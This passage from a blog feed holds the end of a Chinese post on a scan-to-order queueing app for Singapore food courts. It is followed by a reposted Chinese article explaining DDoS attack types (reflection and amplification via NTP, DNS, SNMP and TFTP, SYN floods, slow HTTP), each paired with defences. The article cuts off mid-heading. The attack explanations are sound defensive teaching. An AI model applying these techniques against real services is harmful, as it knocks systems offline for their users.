id="问题的进一步发掘">问题的进一步发掘</h2><p>除了我们接触的 NUS 校内的餐馆，新加坡多数的小吃街是怎样的？经过进一步发掘和观察，我们发现为了点餐和取餐的有序性，这类快餐店排队基本都分成两队：Ordering &amp; Collection。</p><p align="center"><img src="/2019/11/18/Joyeat/Order.jpg" width="200/"></p><p align="center">Order Line</p><p align="center"><img src="/2019/11/18/Joyeat/Collection.jpg" width="200/"></p><p align="center">Collection Line</p><p>虽然是快餐，但依据需要服务人员现场制作，并且往往需要耗费一定的时间来制作。所以一般在 Ordering 队伍点餐付款之后需要排到另一个 Collection 队伍，直到取到餐为止才算完整的排队流程。这样点完餐就不会有一堆人无序地在这周围等待自己的食物。像肯德基这样的餐馆往往有一大堆的人点完之后需要反复到前台去确认自己的餐饮是否已经制作完毕。毋庸置疑这样的用餐体验蛮糟糕的。</p><p>我们希望的是通过互联网的力量去让用户的体验更好，希望尽可能地消灭排队带来的时间、空间的浪费以及不良的用餐体验。但是问题挖掘到这里，我们会发现 Collection 的队列是无法消灭的，这是由服务人员的生产效率决定的。而我们能消灭的仅仅是 Ordering 的队列。<br>这一关键点让我们更加明确自己要探讨的排队现象是什么，我们的目标是什么。</p><h2 id="新的解决方案——互联网思维带给我们的启示">新的解决方案——互联网思维带给我们的启示</h2><p>团队在进行头脑风暴的时候，有人提出了<strong>扫码点餐</strong>的方案，之后全场瞬间炸了，扫码点餐的方案似乎非常好地解决了这个问题。表面上直接消灭 Ordering 的队列！</p><h3 id="消失的队列">消失的队列</h3><p>静下来仔细，原来的队列哪去了呢？结论是：队伍没有消失，只是换了一种形式存在。<br>传统的点餐模式是一列人排队，排在第一个的人可以享用点餐的服务，和一列唯一一个柜台的服务员沟通，根据自己的需要点餐付款，然后进入等待期。之后轮到下一人享用服务。<br>现在的扫描点餐的排队逻辑是怎样的呢？我们不需要排很长的队伍才能和那个一列唯一一个柜台的服务员沟通，告诉他（她）我们需要什么，付款给他（她）。互联网让柜台的服务员可以同时接收所有人的点餐，柜台的服务端相当于有无数个（暂不考虑性能）柜台的服务员为你服务！而你现在在队伍中的次序就是你提交订单的顺序，而计算机提供的时间是毫秒级的，从此不存在插队问题。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/排队原理图.png" width="400" align="middle"><blockquote><p>此时不是队伍不存在了，而是队伍已经变成了网络虚拟的形式。</p></blockquote><h3 id="兼容线上和线下">兼容线上和线下</h3><p>扫码点餐甚至解决了线上和线下的冲突问题，能够友好地兼容线上点餐和线下点餐。<br>之前线上和线下冲突的根本原因是线上和线下的排号在两个体系中，一个是线下的实体队伍有自己的排队序号，一个是线上的有自己的排号序号，而线下的服务提供者只能在一个时间内对一方提供服务。<br>现在使用扫码点餐的方式，无论线上还是线下都是相同的排号体系，排号的顺序都是根据提交订单的时间次序来决定。故不存在线上和线下冲突的问题。</p><h3 id="功能的限定">功能的限定</h3><p>之前我们已经对产品的使用场景进行了限定：新加坡美食广场、小吃街类似的快餐类餐厅。<br>在要解决的问题一（是否选择排队）中，我们提供入驻商家的大量信息，如当前排队人数、营业时间、高峰期、特色等。<br>故我们会在线上提供商家的信息。<br>在要解决的问题二（进行线上排队）中，我们不提供远程点餐。原因是远程点餐的情况下，快餐的制作速度还是相对比较快的，点餐的人可能不能及时地到达餐馆取餐，而滞留的食物会占用商家的很多空间。对于美食广场这样的小摊点来说是无法忍受的。<br>故我们不会直接提供商家点餐的二维码，而会在现场提供点餐的二维码，且对扫描点餐的距离限制在某个范围内（如五百米）</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/线上线下冲突问题2.png" width="800"><p align="center">冲突问题解决最终思路</p><blockquote><p>这样一来，大大地解决了排队的问题，还省去了和服务员沟通的成本等。<br>但是问题还没有完全解决，我们的野心也没有完全实现，缓解排队现象除了省去排队的时间和功夫以外，还要解决排队现象中的另一个隐含的需求：“是否要排队”。<br>这其实要解决的是客户的选择问题，一方面除了提供已经很普及的电子菜单以外，我们希望做进一步的优化。</p></blockquote><h3 id="走出一个餐厅的局限">走出一个餐厅的局限</h3><p>我们旨在解决新加坡一个快餐领域的一个问题，自然不会局限于某一餐馆，希望更多的商家能够入驻我们的平台，而绝非只是为了某一个商家（如 KFC）开发一个 app，跳出为某一个餐厅和企业的格局，才能创造更大的社会价值。</p><h3 id="就餐时间预估">就餐时间预估</h3><p>现在我们通过扫码的方式获得已经提交订单的客户的订单信息。完全可以根据这些信息和之前设置的每个菜品制作的时间等，对上菜出单时的时间完成一个客户交易的时间进行预估。预估的结果和其他信息可以反馈给正在排队（考虑是否要来这个餐厅来排队）的用户，辅助用户来决定自己的用餐地点和餐馆。<br>从更加长远和持久的角度来看，还能对数据进行持续地收集和分析。当然出于用户的个人隐私的考虑，我们要将用户的个人信息滤去，只关注点餐信息本身。从而获得用餐高峰期等有重要参考价值的信息。（借鉴 Google Map 类似的统计）</p><h3 id="反馈机制">反馈机制</h3><p>之前也提过 KFC 的点餐处理很糟糕的一点是，顾客需要反复到取餐口查看是否轮到自己。虽然服务员会叫号，但是，在嘈杂的环境下，服务员难以保证能让顾客一定能接收到对应的信息，顾客不能保证自己刚好没有做其他事情而忽略了服务员的叫号。有些 KFC 甚至分为上下两层，这种情况下进行等餐的用餐体验一定更加糟糕。<br>而此时，我们在线上有了有反馈依据的信息，可以实时地反馈给用户当前的排号。并且可以在轮到下一个用户的时候通过手机铃声或者震动的方式提醒用户取餐。<br>有了这样的反馈之后，用户在提交完订单之后真正地解放了那一段时间。</p><h3 id="总体思路">总体思路</h3><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/新加坡排队问题.png" width="800/"><hr><h1>新方案的介绍动画</h1><br><p align="center"><video width="270" height="480" controls><source src="./新方案介绍.mp4"></video></p><hr><h1>原型展示</h1><h2 id="新手教程">新手教程</h2><br><p align="center"><video width="270" height="480" controls><source src="./Tutorial.mp4"></video></p><h2 id="基本使用">基本使用</h2><br><p align="center"><video width="270" height="480" controls><source src="./Usage.mp4"></video></p><hr><h1>UX 设计</h1><h2 id="Six-Usability-Goals-Design-Principles">Six Usability Goals &amp; Design Principles</h2><h3 id="Six-Usability-Goals：">Six Usability Goals：</h3><p>Effectiveness、Efficiency、Safety、Learnability、Memorability、Utility.</p><blockquote><p>Efficiency：How fast / How many step to use the product?<br>Safety: Easy or not to make mistakes, easy or not to recover, (user can’t do right things always)<br>Learnability: How easy is a system to learn how to use.<br>Memorability: How easy to remember how to use a product after learning how to use it?</p></blockquote><h3 id="Design-Principles：">Design Principles：</h3><p>Visibility、feedback、constraints、consistency、affordance.</p><blockquote><p>Visibility: Make all feature visible.<br>Feedback: Provide the information about current statement<br>Constraints: Stop people from it.<br>Consistency: What we expect.</p></blockquote><h3 id="设计难点">设计难点</h3><p>You can’t be told how to design.<br>Don’t be afraid of making the mistakes;<br>Learn from the mistakes;<br>use more than 20~30% time to try;</p><hr><h1>参考资料</h1><p>[1]（美）詹妮·普瑞斯（Jenny Preece）,（英）伊温妮·罗杰斯（Yvonne Rogers）,（英）海伦·夏普（Helen Sharp）著.《交互设计——超越人机交互》[M].电子工业出版社:北京,2018:10-22</p><hr><h1>彩蛋 - NUS 美食</h1><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/NUS_Food1.jpg"><br><br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/NUS_Food2.jpg"><br><br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/NUS_Food.jpg">]]></content>
    
    <summary type="html">
    
      &lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Joyeat-Cover.png&quot; width=&quot;800&quot; align=&quot;middle&quot;&gt;
&lt;h1&gt;问题的提出&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;我们不要一味适应环境，以批判性眼光看世界，这样才能发现问题，才能改变世界&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;发现需求&quot;&gt;发现需求&lt;/h2&gt;
&lt;p&gt;新加坡是世界上排队现象十分严重的国家。且新加坡餐饮业发达，在外用餐的人口比例极高（这源于新加坡快节奏的生活和餐饮的低成本）。&lt;br&gt;
但是让我很震惊的是，在这么一个科技发达、人才辈出、人均收入极高的国家，却没有人来解决这个问题。&lt;/p&gt;
    
    </summary>
    
    
      <category term="Development" scheme="https://zer0-nu1l.github.io/categories/Development/"/>
    
      <category term="Mobile" scheme="https://zer0-nu1l.github.io/categories/Development/Mobile/"/>
    
    
      <category term="Joyeat" scheme="https://zer0-nu1l.github.io/tags/Joyeat/"/>
    
  </entry>
  
  <entry>
    <title>【转载】DDoS原理与防御</title>
    <link href="https://zer0-nu1l.github.io/2019/11/16/DDoS/"/>
    <id>https://zer0-nu1l.github.io/2019/11/16/DDoS/</id>
    <published>2019-11-16T01:00:12.000Z</published>
    <updated>2019-11-17T10:37:15.139Z</updated>
    
    <content type="html"><![CDATA[<p>文章转载自：<br>文章作者:<a href="https://mochazz.github.io" target="_blank" rel="noopener">Mochazz</a><br>文章链接:<a href="https://mochazz.github.io/2017/09/11/DDOS1/" target="_blank" rel="noopener">https://mochazz.github.io/2017/09/11/DDOS1/</a></p><h3 id="0X01DDOS简介"><a href="#0X01DDOS%E7%AE%80%E4%BB%8B" title="0X01DDOS简介"></a>0X01DDOS简介</h3><p>DDOS(Distributed Denial of Service)，又称分布式拒绝服务攻击。骇客通过控制多个肉鸡或服务器组成的僵尸网络，对目标发送大量看似合法请求，从而占用大量网络资源，瘫痪网络，阻止用户对网络资源的正常访问。</p><a id="more"></a><h3 id="0X02DDOS危害"><a href="#0X02DDOS%E5%8D%B1%E5%AE%B3" title="0X02DDOS危害"></a>0X02DDOS危害</h3><ol><li>出口带宽堵死</li><li>游戏掉线导致客户流失</li><li>服务器连接数多，连接资源被耗尽</li><li>服务器卡、慢、死机、无法连接</li></ol><h3 id="0X03攻击来源"><a href="#0X03%E6%94%BB%E5%87%BB%E6%9D%A5%E6%BA%90" title="0X03攻击来源"></a>0X03攻击来源</h3><ol><li>高性能服务器配合发包软件</li><li>可联网的设备(如打印机、摄像头、电视等等)</li><li>移动设备(数量多，增长速度快，其高性能利于组建僵尸网络)</li><li>个人PC(存在漏洞的PC或一些黑客迷自愿成为DDOS一员)</li><li>骇客控制的僵尸网络(僵尸网络又分为IRC型、HTTP型、P2P型)</li></ol><h3 id="0X04流量特点"><a href="#0X04%E6%B5%81%E9%87%8F%E7%89%B9%E7%82%B9" title="0X04流量特点"></a>0X04流量特点</h3><ol><li>IP地址随机或固定某些IP段随机</li><li>没有完整完成三次握手</li><li>地址多数是伪造的</li><li>请求数量大、快</li></ol><h3 id="0X05导致DDOS原因"><a href="#0X05%E5%AF%BC%E8%87%B4DDOS%E5%8E%9F%E5%9B%A0" title="0X05导致DDOS原因"></a>0X05导致DDOS原因</h3><h4 id="人类因素"><a href="#%E4%BA%BA%E7%B1%BB%E5%9B%A0%E7%B4%A0" title="人类因素"></a>人类因素</h4><ol><li>金钱利益</li><li>政治冲突</li><li>宗教冲突</li><li>为求出名</li></ol><h4 id="非人类因素"><a href="#%E9%9D%9E%E4%BA%BA%E7%B1%BB%E5%9B%A0%E7%B4%A0" title="非人类因素"></a>非人类因素</h4><ol><li>带宽上限</li><li>协议缺陷</li><li>设备性能上限</li><li>应用性能上限</li><li>系统性能上限</li></ol><h3 id="0X06攻击类型及防御"><a href="#0X06%E6%94%BB%E5%87%BB%E7%B1%BB%E5%9E%8B%E5%8F%8A%E9%98%B2%E5%BE%A1" title="0X06攻击类型及防御"></a>0X06攻击类型及防御</h3><h4 id="Smurf攻击"><a href="#Smurf%E6%94%BB%E5%87%BB" title="Smurf攻击"></a>Smurf攻击</h4><p>攻击者向网关发送ICMP请求包，并将该ICMP请求报文的源地址伪造成受害主机IP地址，目的地址为广播地址。路由器在接受到该数据包，发现目的地址是广播地址，就会将该数据包广播出去，局域网内所有的存活主机都会受到一个ICMP请求包，源地址是受害主机IP。接下来受害主机就会收到该网络内所有主机发来的ICMP应答报文，通过大量返回的ICMP应答报文来淹没受害主机，最终导致网络阻塞，受害主机崩溃。下面是smurf攻击示意图<br><a href="https://mochazz.github.io/img/DDOS1/image2.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image2.png" alt></a><br>防护方案：</p><ol><li>禁止路由器广播ICMP请求包；</li><li>禁止操作系统对广播发出的ICMP请求包做出响应；</li><li>配置防火墙静止来自你所处网络外部的ping包</li></ol><h4 id="TearDrop攻击"><a href="#TearDrop%E6%94%BB%E5%87%BB" title="TearDrop攻击"></a>TearDrop攻击</h4><p>在了解这种攻击之前，需要先知道什么是IP fragmentation（数据包分片）。数据在网络中传输必定会产生数据包被分片，因为每种网络都有不同的最大单个数据包的大小，也就是常说的MTU（Maximum Transmission Unit，最大传输单元）。当要传输的数据超过你要通信的那台主机所处网络的MTU时，数据包就会被分片进行传输，然后在到达目的地再重新组装成原来的数据包，下面是数据包分片重组过程<br><a href="https://mochazz.github.io/img/DDOS1/image3.jpeg" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image3.jpeg" alt></a><br>TearDrop攻击，就是通过设置错误的片偏移，使得数据包到达目的地时，服务器无法重新组合数据包，因为数据包的组合是通过片偏移来组装的，最终导致崩溃。对比一下正常IP数据包和错误IP数据包<br><a href="https://mochazz.github.io/img/DDOS1/image4.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image4.png" alt></a><br>这种攻击主要对旧的windows版本和Linux版本有效，防护的话，可以检测发来的数据包片偏移是否合法，如果合法在组装，不合法直接丢弃。例如这个：<a href="https://wenku.baidu.com/view/b45bba61ddccda38376baf7f.html" target="_blank" rel="noopener">分片重组检查算法</a>。</p><h4 id="Land-Attack"><a href="#Land-Attack" title="Land Attack"></a>Land Attack</h4><p>攻击者发动Land Attack攻击时，需要先发出一个SYN数据包，并将数据包的源IP与目的IP都设置成要攻击的目标IP，这样目标在接收到SYN数据包后，会根据源IP回应一个SYN+ACK数据包，即和自己建立一个空连接，然后到达idel超时时间时，才会释放这个连接。攻击者发送大量这样的数据包，从而耗尽目标的TCP连接池，最终导致拒绝服务。攻击过程如下<br><a href="https://mochazz.github.io/img/DDOS1/image5.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image5.png" alt></a><br>防御方案参考如下：这种攻击对早期系统有效。通过设置防火墙和路由规则，检测源IP与目的IP相同的数据包，丢弃、过滤这种数据包。</p><h4 id="SYN-FLOOD攻击"><a href="#SYN-FLOOD%E6%94%BB%E5%87%BB" title="SYN FLOOD攻击"></a>SYN FLOOD攻击</h4><p>SYN FLOOD攻击是在TCP三次握手过程中产生的。攻击者通过发送大量伪造的带有SYN标志位的TCP报文，与目标主机建立了很多虚假的半开连接，在服务器返回SYN+ACK数据包后，攻击者不对其做出响应，也就是不返回ACK数据包给服务器，这样服务器就会一直等待直到超时。这种攻击方式会使目标服务器连接资源耗尽、链路堵塞，从而达到拒绝服务的目的。SYN FLOOD攻击图示如下<br><a href="https://mochazz.github.io/img/DDOS1/image6.jpeg" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image6.jpeg" alt></a><br>防御：<br>SYNCheck：使用防护设备，3次握手变成了6次握手，由防护设备检测SYN请求是否合法，通过后再由防护设备将报文转发给服务器，后续报文仍由防护设备代理。<br>Micro blocks：管理员可以在内存中为每个SYN请求创建一个小索引(小于16字节)，而不必把整个连接对象存入内存。<br>RST cookies：在客户端发起第一个SYN请求后，服务器故意回应一个错误的SYN+ACK报文。如果合法用户收到这个报文，就会给服务器响应RST报文。当服务器收到这个报文时，就将这个主机的IP记录进合法IP列表，下次该主机发起SYN请求时，就可以直接通过了。<br>STACK tweaking：管理员可以调整TCP堆栈以减缓SYN泛洪攻击的影响。这包括减小超时时间，等到堆栈存释内放时再分配连接，否则就随机性地删除传入的连接。</p><h4 id="ACK-FLOOD攻击"><a href="#ACK-FLOOD%E6%94%BB%E5%87%BB" title="ACK FLOOD攻击"></a>ACK FLOOD攻击</h4><p>ACK FLOOD攻击是利用TCP三次握手过程。这里可以分为两种。</p><p>第一种：攻击者伪造大量的SYN+ACK包发送给目标主机，目标主机每收到一个SYN+ACK数据包时，都会去自己的TCP连接表中查看有没有与ACK的发送者建立连接 ，如果有则发送ACK包完成TCP连接，如果没有则发送ACK+RST 断开连接。但是在查询过程中会消耗一定的CUP计算资源。如果瞬间收到大量的SYN+ACK数据包，将会消耗服务器的大量cpu资源，导致正常的连接无法建立或增加延迟，甚至造成服务器瘫痪、死机。<br><a href="https://mochazz.github.io/img/DDOS1/image7.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image7.png" alt></a></p><p>第二种：利用TCP三次握手的ACK+SYN应答，攻击者向不同的服务器发送大量的SYN请求，这些SYN请求数据包的源IP均为受害主机IP，这样就会有大量的SYN+ACK应答数据包发往受害主机，从而占用目标的网络带宽资源，形成拒绝服务。<br><a href="https://mochazz.github.io/img/DDOS1/image8.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image8.png" alt></a><br>通常DDOS攻击会将ACK flood与SYN flood结合在一起，从而扩大威力。防御方案可参考如下：采用CDN进行流量稀释；避免服务器IP暴露在公网上；通过限速或动态指纹的方式；利用对称性判断来分析出是否有攻击存在；在连续收到用户发送的ACK包时，中断回话，让其重连。</p><h4 id="UDP-FLOOD攻击"><a href="#UDP-FLOOD%E6%94%BB%E5%87%BB" title="UDP FLOOD攻击"></a>UDP FLOOD攻击</h4><p>UDP（User Datagram Protocol，用户数据报协议），是一种无连接和无状态的网络协议，UDP不需要像TCP那样进行三次握手，运行开销低，不需要确认数据包是否成功到达目的地。这就造成UDP泛洪攻击不但效率高，而且还可以在资源相对较少的情况下执行。UDP FLOOD可以使用小数据包(64字节)进行攻击,也可以使用大数据包(大于1500字节,以太网MTU为1500字节)进行攻击。大量小数据包会增大网络设备处理数据包的压力；而对于大数据包，网络设备需要进行分片、重组，最终达到的效果就是占用网络传输接口的带宽、网络堵塞、服务器响应慢等等。<br><a href="https://mochazz.github.io/img/DDOS1/image9.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image9.png" alt></a><br>防御方案：限制每秒钟接受到的流量(可能产生误判)；通过动态指纹学习(需要攻击发生一定时间)，将非法用户加入黑名单。</p><h4 id="NTP放大攻击"><a href="#NTP%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB" title="NTP放大攻击"></a>NTP放大攻击</h4><p>NTP(Network Time Protocol，网络时间协议)，是用来使计算机网络时间同步化的一种协议，它可以使计算机与时钟源进行同步化并提供高精度的时间校正，使用UDP123端口进行通信。通常在NTP服务器上会有一些调试接口，而利用这些接口中的monlist请求，就可触发放大攻击。当主机向NTP服务器发送monlist查询请求时，NTP服务器会将与之进行时间同步的最后600个IP地址返回。所以攻击者只需要将源地址伪造为受害主机的IP，向NTP服务器发送一个monlist查询请求包，受害主机就会收到大量的UDP响应包。这种攻击在放大攻击里，危害相对较大。下面是NTP放大攻击示意图<br><a href="https://mochazz.github.io/img/DDOS1/image10.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image10.png" alt></a><br>总结一下这种攻击产生的原因，请求与响应数据包不等价；UDP协议的通信模糊性（无数据传输确认机制）；以及NTP服务器的无认证机制。<br>防御方案：</p><ol><li>使用防 DDoS 设备进行清洗；</li><li>加固并升级NTP服务器；</li><li>在网络出口封禁 UDP 123 端口；</li><li>通过网络层或者借助运营商实施 ACL 来防御；</li><li>关闭现在 NTP 服务的 monlist 功能，在ntp.conf配置文件中增加<code>disable monitor</code>选项。</li></ol><h4 id="DNS放大攻击"><a href="#DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB" title="DNS放大攻击"></a>DNS放大攻击</h4><p>DNS(Domain Name System，域名系统)，由于使用IP地址来记忆各个网站比较困难，所以就产生了使用主机名称来表示对应的服务器，主机名称通过域名解析的过程转换成IP地址。下面来看一下DNS报文格式，以便了解攻击发生在何处。<br><a href="https://mochazz.github.io/img/DDOS1/image11.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image11.png" alt></a><br>报文首部格式<br><a href="https://mochazz.github.io/img/DDOS1/image12.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image12.png" alt></a><br>报文首部各字段含义如下，其中绿色高亮是攻击点之一，之后会分析<br><a href="https://mochazz.github.io/img/DDOS1/image13.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image13.png" alt></a><br>下面是问题记录中查询类型可设置的值，我们发现最后一个ANY类型会请求所有记录，这也是一个攻击点<br><a href="https://mochazz.github.io/img/DDOS1/image14.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image14.png" alt></a><br>DNS查询可分为递归查询和迭代查询，下面是DNS迭代查询图<br><a href="https://mochazz.github.io/img/DDOS1/image15.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image15.png" alt></a><br>再来看DNS递归查询图<br><a href="https://mochazz.github.io/img/DDOS1/image16.jpeg" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image16.jpeg" alt></a><br>从DNS数据包结构以及DNS递归查询过程，我们就可以大致分析出攻击原理。首先，攻击者向僵尸网络发出指令，使僵尸网络中的每一台主机均发出一个伪造源地址的DNS查询请求包，这些请求包查询类型设置为ANY，因为这种类型会请求所有的记录，这些记录会在返回的响应包中，也就是说这种数据包的大小较其他类型是最大的。接着查询类型设为递归查询，为什么不是迭代查询呢，仔细看两种查询的过程图可发现，如果迭代查询第一个请求的DNS服务器没有查询到结果，那么第一个请求的服务器会返回另一个DNS服务器IP，让请求主机向这个IP去继续查询，然而攻击者的数据包源地址是伪造的，所以并不会发起第二次查询，因为第一次查询根本就不是它发起的；而递归查询却是在查询到结果之后，才返回给查询请求发起者。利用这两个特点，攻击者就可以成功发起DNS放大攻击。这种普通的查询请求可以将攻击流量放大2~10倍，如果想增大攻击倍数，可以使用RFC 2671中定义的DNS拓展机制EDNS0。未使用EDNS0时，若响应包大小小于512字节，就使用UDP封装数据；若响应包大小超过512字节，就使用TCP连接或者服务器截断响应报文，丢弃超过512字节的部分，并把TC位置1。这两种方式都不利于进行DNS放大攻击。然而在开启EDNS0机制后，增加了OPT RR字段，这两个字段包含了能够处理的最大UDP报文大小信息，所以攻击者将这个信息设置的很大，服务器就会根据这个信息生成响应报文。最后看一下DNS放大攻击演示图<br><a href="https://mochazz.github.io/img/DDOS1/image17.jpeg" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image17.jpeg" alt></a><br>防御策略：</p><ol><li>联系ISP清洗上游流量；</li><li>DNS服务器只对可信域内提供服务，限制对域外用户提供DNS解析服务；</li><li>对单个IP的查询速率做限制；</li><li>拥有足够的带宽承受小规模攻击；</li><li>关闭DNS服务器的递归查询；</li><li>利用防火墙等对ANY Request进行过滤。</li></ol><h4 id="SNMP放大攻击"><a href="#SNMP%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB" title="SNMP放大攻击"></a>SNMP放大攻击</h4><p>SNMP(Simple Network Management Protocol，简单网络管理协议)，是目前网络中应用最为广泛的网络管理协议，它提供了一个管理框架来监控和维和互联网设备，它使用UDP161端口进行通信。攻击者向互联网上开启SNMP服务的设备发送GetBulk请求，并使用默认通信字符串作为认证凭据。常见的默认通信字符串如public、private以及一些厂商默认的通信字符串。GetBulk请求是在SNMPv2中添加的的，该请求会让SNMP设备尽可能多的返回数据，这也就是SNMP放大攻击的利用点。下面来看一下SNMP的PDU格式<br><a href="https://mochazz.github.io/img/DDOS1/image18.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image18.png" alt></a><br>攻击者先将源地址改成要攻击的目标IP，再使用默认的通信字符串，向大量SNMP设备发出GetBulk请求，设备收到GetBulk请求数据包后，会将一大段的设备检索信息返回给目标主机，最终目标主机会被这些SNMP设备返回的数据包淹没，导致拒绝服务。看一下SNMP的攻击图<br><a href="https://mochazz.github.io/img/DDOS1/image19.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image19.png" alt></a><br>防御策略：</p><ol><li>禁止已开启SNMP的设备响应GetBulk请求，避免自己的设备被黑客利用；</li><li>更改默认的通信字符串；</li><li>修改默认端口161；</li><li>隐藏开启SNMP设备的公网IP。</li></ol><h4 id="TFTP放大攻击"><a href="#TFTP%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB" title="TFTP放大攻击"></a>TFTP放大攻击</h4><p>TFTP（Trivial File Transfer Protocol，简单文件传输协议），使用UDP 69端口进行通信，由于TFTP使用的是不可靠的UDP协议，所以他不能确保发送的任何报文都能真正到达目的地，因此他必须使用定时器来检测并重传报文，以下是TFTP传输文件过程图<br><a href="https://mochazz.github.io/img/DDOS1/image20.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image20.png" alt></a><br>超时重传机制<br><a href="https://mochazz.github.io/img/DDOS1/image21.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image21.png" alt></a><br>可以看到，TFTP协议将数据分成好多个数据块进行传输，每个数据块最大为512字节，客户端在接受到数据块时，需要给服务器端返回一个ACK确认报文，然后才会继续传输下一个报文。若服务器没有收到客户端发来ACK报文，则在时间到达超时计数器时，便会开启重传机制，这也就是攻击利用点。攻击者利用TFTP协议上的缺陷，伪造源地址向服务器发起请求，服务器回复的第1个data数据包后无法收到客户端发送的ACK。此时TFTP就会利用他的重传机制，定时重传第1个data数据包，当攻击者发出大量的这种请求时，TFTP放大攻击也就发生了。来看一下TFTP放大攻击示意图<br><a href="https://mochazz.github.io/img/DDOS1/image22.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image22.png" alt></a><br>防御方案:</p><ol><li>不要将TFTP服务器暴露在公网上；</li><li>对流经TFTP服务的流量进行入侵检测；</li><li>将重传（数据包）率设置为1；只为信任域内的主机提供服务。</li></ol><h4 id="CC攻击"><a href="#CC%E6%94%BB%E5%87%BB" title="CC攻击"></a>CC攻击</h4><p>CC攻击（ChallengeCollapsar）又称作HTTP 泛洪攻击，其原理是攻击者控制肉鸡、僵尸网络或使用代理服务器，不停地向目标的web服务发送大量合法请求，使得正常用户的web请求处理缓慢甚至得不到处理，制造大量的后台数据库查询动作，消耗目标CPU资源，最终导致服务器宕机崩溃。这种攻击方式不需要很大的带宽，且无法使用伪造IP地址进行攻击，需要真实的机器与web服务器建立连接，因为HTTP协议是建立在TCP协议上，必须先进行TCP三次握手才能进行HTTP通信。如果目标web服务器支持HTTPS，那么发起的HTTPS泛洪攻击还能穿透一些防护设备。<br><a href="https://mochazz.github.io/img/DDOS1/image23.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image23.png" alt></a><br>防御方案：</p><ol><li>必要时将网页做成静态，减少数据库的使用；</li><li>限制连接数量；</li><li>修改最大超时时间；</li><li>让用户手动输入验证码；</li><li>在response报文中添加特殊字段，验证IP合法性；</li><li>屏蔽频繁访问服务器的主机IP。</li></ol><h4 id="HTTP慢速攻击"><a href="#HTTP%E6%85%A2%E9%80%9F%E6%94%BB%E5%87%BB" title="HTTP慢速攻击"></a>HTTP慢速攻击</h4><p>Slow HTTP Dos AttACKs（慢速HTTP拒绝服务攻击），黑客模拟正常用户向web服务器发送慢速http请求，由于是慢速的，服务器端需要保持连接资源，直到数据传输结束或请求结束才可释放连接。当服务器端建立了大量这样的慢速连接，就会导致服务器拒绝服务。这种攻击可以分为两类，一类是客户端发数据，另一类是客户端读取服务器发来的数据。HTTP慢速攻击对基于线程处理的web服务器影响显著，如apache、dhttpd，而对基于事件处理的web服务器影响不大，如ngix、lighttpd。HTTP慢速攻击还可以细分成以下几种攻击方式.</p><p>Slowloris攻击方式<br>HTTP协议规定请求头以一个空行结束，所以完整的http请求头结尾是\r\n\r\n。然而使用非正常的\r\n来结尾，就会导致服务端认为我们的请求头还没结束，等待我们继续发送数据直到超时时间。两种请求头区别如下，CRLF（Carriage Return Line Feed）表示回车换行<br><a href="https://mochazz.github.io/img/DDOS1/image24.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image24.png" alt></a></p><p>Slow post攻击方式<br>在http头部信息，可以使用content-length声明HTTP消息实体的传输长度，服务器端会content-length的值作为HTTP BODY的长度。利用这一特点，攻击者把content-length设置得很大的，然后缓慢发送数据部分，比如一次只发送一个字节，这样服务器端就要一直保持连接，直到客户端传完所有的数据。<br><a href="https://mochazz.github.io/img/DDOS1/image25.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image25.png" alt></a></p><p>Slow read攻击方式<br>攻击者发送一个完整的HTTP数据请求，之后服务器会给出响应，这时攻击者在将自己的TCP窗口大小设置的很小，服务器会根据客户的TCP窗口大小来传送数据。由于客户端的TCP窗口大小很小，服务器只能缓慢的传输数据给客户端。当建立大量的这种连接时，web应用的并发连接池将被耗尽，最终导致拒绝服务。<br><a href="https://mochazz.github.io/img/DDOS1/image26.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image26.png" alt></a></p><p>Apache range 